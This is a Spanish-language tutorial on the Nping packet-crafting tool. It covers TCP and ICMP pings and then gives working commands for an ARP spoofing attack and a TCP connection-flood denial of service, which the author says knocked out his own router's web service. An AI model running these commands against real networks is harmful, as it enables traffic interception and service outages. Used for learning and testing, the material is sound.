Nping es un divertida herramienta que permite la generación de paquetes personalizados de red para diferentes protocolos (TCP, UDP, ICMP, ARP, IP) permitiendo total control sobre los headers sirviendo de esta manera para diferentes tareas de red. En primera instancia lo podemos utilizar como herramienta de descubrimiento de red pero con la diferencia que podemos hacer ping con base a otros protocolos, no solamente mediante mensajes ICMP Echo Request/Reply como se hace de manera clásica con el programa ping.

Por ejemplo puedo hacer ping a mi gateway sin hacer uso del protocolo ICMP enviando un segmento TCP con el flag SYN activado al puerto 80 que se encuentra abierto:

# nping --tcp --flags syn --dest-port 80 --count 1 192.168.1.254

Starting Nping ...
SENT (0.0056s) TCP 192.168.1.14:44572 > 192.168.1.254:80 S ttl=64 id=8523 iplen=40  seq=493308163 win=1480
RCVD (0.0506s) TCP 192.168.1.254:80 > 192.168.1.14:44572 SA ttl=64 id=302 iplen=44  seq=2673121872 win=16384

Iniciamos un triple Handshake TCP y recibimos respuesta del parte del objetivo recibiendo un segmento TCP con los flags SYN-ACK como esperábamos ya que el puerto estaba abierto. Claro que también se puede hacer un ping clásico con Nping:

# nping --icmp --icmp-type 8 --count 1 192.168.1.254

Starting Nping ...
SENT (0.0045s) ICMP [192.168.1.14 > 192.168.1.254 Echo request (type=8/code=0) id=20891 seq=1] IP [ttl=64 id=33951 iplen=28 ]
RCVD (0.0058s) ICMP [192.168.1.254 > 192.168.1.14 Echo reply (type=0/code=0) id=20891 seq=1] IP [ttl=64 id=424 iplen=28 ]

ARP Spoofing

Pero más allá de usar Nping como herramienta avanzada de ping y gracias al control total que tenemos para generar paquetes de red, el límite de la herramienta es nuestra pericia/curiosidad. Por ejemplo podemos manipular la generación de tramas de red para realizar de manera manual ataques de ARP Spoofing mediante Nping:

# nping --arp --arp-type ARP-reply --arp-sender-ip IPGateway --arp-sender-mac MACAtacante --dest-mac MACVíctima IPVíctima

Starting Nping ...
SENT (0.0078s) ARP reply IPGateway is at MACAtacante
SENT (1.0081s) ARP reply IPGateway is at MACAtacante
SENT (2.0086s) ARP reply IPGateway is at MACAtacante

Podemos prolongar el envío de mensajes indicando el número de tramas a enviar mediante la opción --count.

Connection Flood

Podríamos probar este conocido ataque tipo DoS enviando un alto número de mensajes TCP SYN para consumir suficientes recursos del objetivo y sobrepasar el número de conexiones TCP simultáneas soportadas para que no responda a futuros intentos de conexión. Con las siguientes opciones fue suficiente para inhabilitar el servicio HTTP del access point de mi hogar:

# nping --tcp-connect --flags syn --dest-port 80 --rate 90000 --count 900000 192.168.1.254

El uso de –tcp-connect en este caso es necesario para que Nping realice una conexión TCP completa, ya que de lo contrario Nping enviará un mensaje TCP RST después de recibir el TCP SYN-ACK por parte de objetivo, debido a esto no me fue posible realizar el ataque TCP SYN Flood ya que no puede evitar que se enviara el segmento final TCP RST.

Los ataques de Connection Flood y SYN Flood se diferencian en que el primero intenta realizar tantas conexiones TCP completas le sea posible hasta agotar los recursos del objetivo, mientras el segundo espera recibir un segmento TCP SYN-ACK y no hace nada más, es decir que consume los recursos de objetivo mientras este espera que se terminen los TCP Handshake iniciados.

Es una excelente alternativa a hping y se puede usar con los mismos propósitos. Sirve también como herramienta de autoaprendizaje en el momento que estudiamos la familia de protocolos TCP/IP para llevar a la práctica toda la teoría que ello implica. Es indiscutiblemente una herramienta de análisis de red para diversos propósitos, por ejemplo el comportamiento de un objetivo cuando se envían paquetes o segmentos de red fuera de lo habitual, por ejemplo un segmento TCP con los flags SYN y RST activados simultáneamente. Son tan variados los contextos en los que se puede usar Nping al tener control total sobre la generación de paquetes, que se puede usar también para realizar el Port Scanning avanzado (y también los básicos) que realiza Nmap manipulando las flags TCP. A mi parecer, esta sí es la verdadera Navaja suiza TCP/IP.